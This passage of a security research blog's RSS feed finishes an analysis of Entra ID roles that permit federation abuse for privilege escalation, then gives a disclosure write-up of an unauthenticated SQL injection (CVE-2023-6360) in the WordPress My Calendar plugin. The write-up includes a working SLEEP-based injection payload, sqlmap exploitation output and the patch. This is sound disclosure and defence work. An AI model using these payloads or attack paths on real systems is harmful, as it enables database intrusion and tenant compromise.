internal users (as described at the beginning) which is the one I needed.</p><h4>🟩 MS Graph API: using Update-MgDomainFederationConfiguration</h4><p>API endpoint: <a href="https://learn.microsoft.com/en-us/graph/api/internaldomainfederation-update?view=graph-rest-1.0&amp;tabs=http">Update internalDomainFederation</a></p><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Security Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”</p><ul><li>Hybrid Identity Administrator</li><li>Partner Tier1 Support</li></ul><p>So, exactly the same results as for creating a federated domain with New-MgDomainFederationConfiguration shown above.</p><h4>Remarks on inconsistency</h4><p>🔍 I have no clue how Entra roles and permissions are implemented, nor used, by Entra ID but I noticed something strange. I feel like some operations are explicitly allowed to some roles instead of based on the exact permissions they contain. For example, while Security Administrator and Hybrid Identity Administrator contain exactly the same 3 permissions under “<em>microsoft.directory/domains/*</em>”, the former is allowed to <a href="https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration?view=graph-rest-1.0&amp;tabs=http">Create internalDomainFederation</a> with the Graph API (using New-MgDomainFederationConfiguration) whereas the latter is not.</p><p>Similarly, while Domain Name Administrator and Partner Tier2 Support both contain the “<em>microsoft.directory/domains/allProperties/allTasks</em>” permission, the former is forbidden to call Set-MsolDomainAuthentication while the latter is allowed.</p><p>🤔 I also noticed that some roles were forbidden to do some of the mentioned operations by the old 🟥 Provisioning API (MSOL) while the newer 🟦 Azure AD Graph and 🟩 MS Graph APIs allow it, and the contrary too.</p><h4>Full chain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKxibq72ZyBmEGQ-1ssl0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z6kRzR48CPCFImb2wrtHqQ.png" /></figure><p>So, in summary, if you remember the goal of this article 😉, <strong>what are the roles actually required to perform this attack end-to-end?</strong></p><p>If a verified custom domain is not already present, the attacker will need to be assigned either:</p><ul><li>Global Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>However, if a verified custom domain is already present, the attacker will need to be assigned either:</p><ul><li>Global Administrator</li><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>😨 As you can see, <strong>Global Administrator is far from being the only role allowing to compromise Entra ID</strong> by abusing the federation feature! In my opinion, the <strong>most dangerous roles in these lists are “External Identity Provider Administrator” and “Domain Name Administrator” because they are not identified as 💥privileged by Microsoft</strong>, and thus, are subject to less scrutiny and security efforts.</p><p>I believe that it comes from the fact that none of the Entra permissions that seem related to domains and federation configuration are identified as privileged by Microsoft. I wish I could have identified the exact Entra permission(s) allowing this, by testing them one by one in an Entra custom role, but unfortunately only a subset of permissions is currently supported in custom roles and none are in this subset.</p><p>I contacted MSRC (VULN-113566) suggesting to mark these permissions, “<em>microsoft.directory/domains/allProperties/allTasks</em>” and “<em>microsoft.directory/domains/federation/update</em>”, as privileged but they will not be doing it as they consider their baseline is correct even though some customers may have different interpretations.</p><p>You can also notice that an already existing custom domain is useful to attackers since it allows them to skip the domain creation and verification steps, which is stealthier, and makes the attack possible with more roles. However, it causes temporary disruptions for users who normally authenticate via the abused domain, so it is also less stealthy.</p><h3>Recommendations for defense</h3><p>The goal of this article was not to make you discover how federation itself can be abused, since great researchers have already done this a year ago, but still, you may wonder how to defend against such an attack.</p><p>Microsoft has long recommended to migrate away from federated authentication to managed authentication, however as we saw, even if an organization is not using (anymore) federated authentication, an attacker could still re-enable it.</p><p>🤔 First of all, <strong>apply the principle of least privilege and be mindful of whom you assign the roles mentioned previously</strong> (that was the goal of this article, do you remember? 😅). I hope I have <strong>convinced you that Global Administrator is not the only sensitive role</strong>.</p><p>🔍 Second, you should <strong>audit and monitor the federated domains (including their federation configuration(s)) in your Entra ID</strong> to detect the potential backdoors (already present, or to be added). Especially if your organization is not using (anymore) federated authentication. One of the available solutions is of course <a href="https://www.tenable.com/products/identity-exposure"><strong>Tenable Identity Exposure</strong></a><strong> which offers many Indicators of Exposure dedicated to this subject</strong> (“<a href="https://www.tenable.com/indicators/ioe/entra/KNOWN-FEDERATED-DOMAIN-BACKDOOR">Known Federated Domain Backdoor</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/FEDERATION-SIGNING-CERTIFICATES-MISMATCH">Federation Signing Certificates Mismatch</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/FEDERATED-DOMAINS-LIST">Federated Domains List</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/UNUSUAL-FEDERATION-SIGNING-CERTIFICATE-VALIDITY-PERIOD">Unusual Federation Signing Certificate Validity Period</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/UNVERIFIED-DOMAIN">Unverified Domain</a>”). Microsoft has also published a guide describing how to “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-monitor-federation-changes">Monitor changes to federation configuration in your Microsoft Entra ID</a>” but which leaves up to you the analysis of the federation configuration when an event occurs. Changes in federated domains, and the associated federation configurations, are normally rare so any event should be properly investigated.</p><p>🆘 Third, in case of a suspected or confirmed attack, it is highly recommended to <strong>seek assistance from incident response specialists with expertise on Entra ID</strong> to help identify the extent of the attack including the other potential means of persistence of the attacker. You can follow this remediation guide from Microsoft “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-emergency-ad-fs-certificate-rotation">Emergency rotation of the AD FS certificates</a>”.</p><h3>Conclusion</h3><p>We have seen together that several built-in Entra roles can<strong> be leveraged by attackers to abuse the federation feature</strong> to elevate their privileges and persist in an Entra tenant. Of course, the most famous role, <strong>Global Administrator</strong>, is one of them, but these can also be used: <strong>Security Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator, and Partner Tier2 Support</strong>. Microsoft still has not identified all of them as privileged, so be careful when assigning these roles in your organization: assigned users may have more power than you think! 💥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df9ca6e58360" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360">Entra Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)]]></title>
            <link>https://medium.com/tenable-techblog/wordpress-mycalendar-plugin-unauthenticated-sql-injection-cve-2023-6360-d272887ddf12?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/d272887ddf12</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[tenable-research]]></category>
            <dc:creator><![CDATA[Joshua Martinelle]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 19:58:16 GMT</pubDate>
            <atom:updated>2024-02-08T11:36:54.838Z</atom:updated>
            <content:encoded><![CDATA[<h3>WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)</h3><p>WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.</p><p>In this article, we will analyze an unauthenticated sql injection vulnerability found in the <a href="https://wordpress.org/plugins/my-calendar/">MyCalendar</a> plugin.</p><p>This was discovered by <a href="https://www.tenable.com/research">Tenable Research</a> while working on web application security.</p><p><strong>Reference:</strong> <a href="https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/">https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/</a><br><strong>Tenable TRA : </strong><a href="https://www.tenable.com/security/research/tra-2023-40">https://www.tenable.com/security/research/tra-2023-40</a><br><strong>Affected Versions:</strong> &lt; 3.4.22<br><strong>CVSSv3 Vector: </strong>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N<br><strong>CVSSv3 Score: </strong>8.6</p><blockquote>My Calendar does WordPress event management with richly customizable ways to display events. The plugin supports individual event calendars within WordPress Multisite, multiple calendars displayed by categories, locations or author, or simple lists of upcoming events.</blockquote><p><strong>Vulnerable Code:</strong></p><p>The vulnerability is present in the function my_calendar_get_events() of ./my-calendar-events.php file which is called when a request is made to the function my_calendar_rest_route() of ./my-calendar-api.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WrF2GFemvtIJ5RWaG0SO4g.png" /></figure><p>Here is the interesting code part, it is quite huge so I just have to keep the interesting part for the article :</p><pre>// ./my-calendar-events.php<br>function my_calendar_rest_route( WP_REST_Request $request ) {<br> $parameters = $request-&gt;get_params();<br> $from       = sanitize_text_field( $parameters[&#39;from&#39;] );<br> $to         = sanitize_text_field( $parameters[&#39;to&#39;] );<br> [...]<br><br> $events     = my_calendar_events( $args );<br><br> return $events;<br>}<br><br>function my_calendar_events( $args ) {<br> [...]<br> $events        = my_calendar_get_events( $args );<br> <br> [...]<br>}<br><br>// ./my-calendar-api.php<br>function my_calendar_get_events( $args ) {<br> $from     = isset( $args[&#39;from&#39;] ) ? $args[&#39;from&#39;] : &#39;&#39;;<br> $to       = isset( $args[&#39;to&#39;] ) ? $args[&#39;to&#39;] : &#39;&#39;;<br><br> [...]<br><br> $from = mc_checkdate( $from );<br> $to   = mc_checkdate( $to );<br> if ( ! $from || ! $to ) {<br>  return array();<br> }<br><br> [...] <br> WHERE $select_published $select_category $select_location $select_author $select_host $select_access $search<br>  AND ( DATE(occur_begin) BETWEEN &#39;$from 00:00:00&#39; AND &#39;$to 23:59:59&#39;<br>   OR DATE(occur_end) BETWEEN &#39;$from 00:00:00&#39; AND &#39;$to 23:59:59&#39;<br>   OR ( DATE(&#39;$from&#39;)<br> [ ...]<br><br> return apply_filters( &#39;mc_filter_events&#39;, $arr_events, $args, &#39;my_calendar_get_events&#39; );<br>}</pre><p>When we look at the function in its entirety, the first thing that catches our eye is to see that raw SQL queries without the use of wpdb-&gt;prepare() are executed with variables such as from &amp; to which correspond to user inputs.</p><p>Looking at the code, can see that mc_checkdate() is called on from &amp; to and if the result is not valid for both, a return is made before executing the SQL query.</p><p>Let’s take a closer look at this function :</p><pre>function mc_checkdate( $date ) {<br> $time = strtotime( $date ); # &lt;= Is a bool(false). The error is actually here, this is what allows the payload to pass<br> $m    = mc_date( &#39;n&#39;, $time ); # &lt;= eq to 11<br> $d    = mc_date( &#39;j&#39;, $time ); # &lt;= eq to 23 (current day number)<br> $y    = mc_date( &#39;Y&#39;, $time ); # &lt;= eq to 2023<br><br> // checkdate is a PHP core function that check the validity of the date<br> return checkdate( $m, $d, $y ); # &lt;= So this one eq 1<br>}<br><br> */<br>function mc_date( $format, $timestamp = false, $offset = true ) {<br> if ( ! $timestamp ) {<br>  $timestamp = time();<br> }<br> if ( $offset ) {<br>  $offset = intval( get_option( &#39;gmt_offset&#39;, 0 ) ) * 60 * 60; # &lt;= No importance for the test, we can leave it at 0<br> } else {<br>  $offset = 0;<br> }<br> $timestamp = $timestamp + $offset;<br><br> # So in the end returns the value of gmdate( $format, $timestamp );<br> return ( &#39;&#39; === $format ) ? $timestamp : gmdate( $format, $timestamp );<br>}</pre><p>For simplicity, we can take the vulnerable code locally to observe a more detailed behavior :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14H6h2C4KYqg1Uyzs5p--w.png" /></figure><p>This simple error therefore allows our SQL payload to bypass this check and be inserted into the SQL query.</p><p><strong>Proof of Concept:</strong></p><pre>time curl &quot;https://WORDPRESS_INSTANCE/?rest_route=/my-calendar/v1/events&amp;from=1&#39;+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+&#39;a&#39;%3d&#39;a&quot;<br>{}<br>real    0m3.068s<br>user    0m0.006s<br>sys    0m0.009s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uf9nvomP_V0N_h6Cs4Z-Cg.png" /></figure><p><strong>Exploitation:</strong></p><pre>sqlmap -u &quot;http://192.168.1.27/?rest_route=/my-calendar/v1/events&amp;from=1*&quot; --current-db --dbms=MySQL<br>        ___<br>       __H__<br> ___ ___[&#39;]_____ ___ ___  {1.7.9#pip}<br>|_ -| . [(]     | .&#39;| . |<br>|___|_  [,]_|_|_|__,|  _|<br>      |_|V...       |_|   https://sqlmap.org<br><br>[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program<br><br>[*] starting @ 09:48:00 /2023-12-21/<br><br>custom injection marker (&#39;*&#39;) found in option &#39;-u&#39;. Do you want to process it? [Y/n/q]<br><br>[09:48:02] [INFO] testing connection to the target URL<br>[...]<br>[09:48:08] [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause&#39; injectable (with --string=&quot;to&quot;)<br>[...]<br>[09:48:08] [INFO] URI parameter &#39;#1*&#39; is &#39;MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)&#39; injectable<br>[...]<br>[09:48:38] [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)&#39; injectable<br>[...]<br>[09:48:54] [INFO] the back-end DBMS is MySQL<br>web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)<br>web application technology: Apache 2.4.41<br>back-end DBMS: MySQL &gt;= 5.0 (MariaDB fork)<br>[09:48:54] [INFO] fetching current database<br>[09:48:54] [INFO] retrieved: &#39;wasvwa&#39;<br>current database: &#39;wasvwa&#39;</pre><p><strong>Patch :</strong></p><p>For backwards compatibility reasons, the author of the plugin decided to modify the mc_checkdate() function rather than using wpdb-&gt;prepare()</p><pre>function mc_checkdate( $date ) {<br> $time = strtotime( $date );<br> $m    = mc_date( &#39;n&#39;, $time );<br> $d    = mc_date( &#39;j&#39;, $time );<br> $y    = mc_date( &#39;Y&#39;, $time );<br><br> $check = checkdate( $m, $d, $y );<br> if ( $check ) {<br>  return mc_date( &#39;Y-m-d&#39;, $time, false );<br> }<br><br> return false;<br>}</pre><p>Adding this additional check is sufficient to correct the vulnerability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d272887ddf12" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/wordpress-mycalendar-plugin-unauthenticated-sql-injection-cve-2023-6360-d272887ddf12">WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>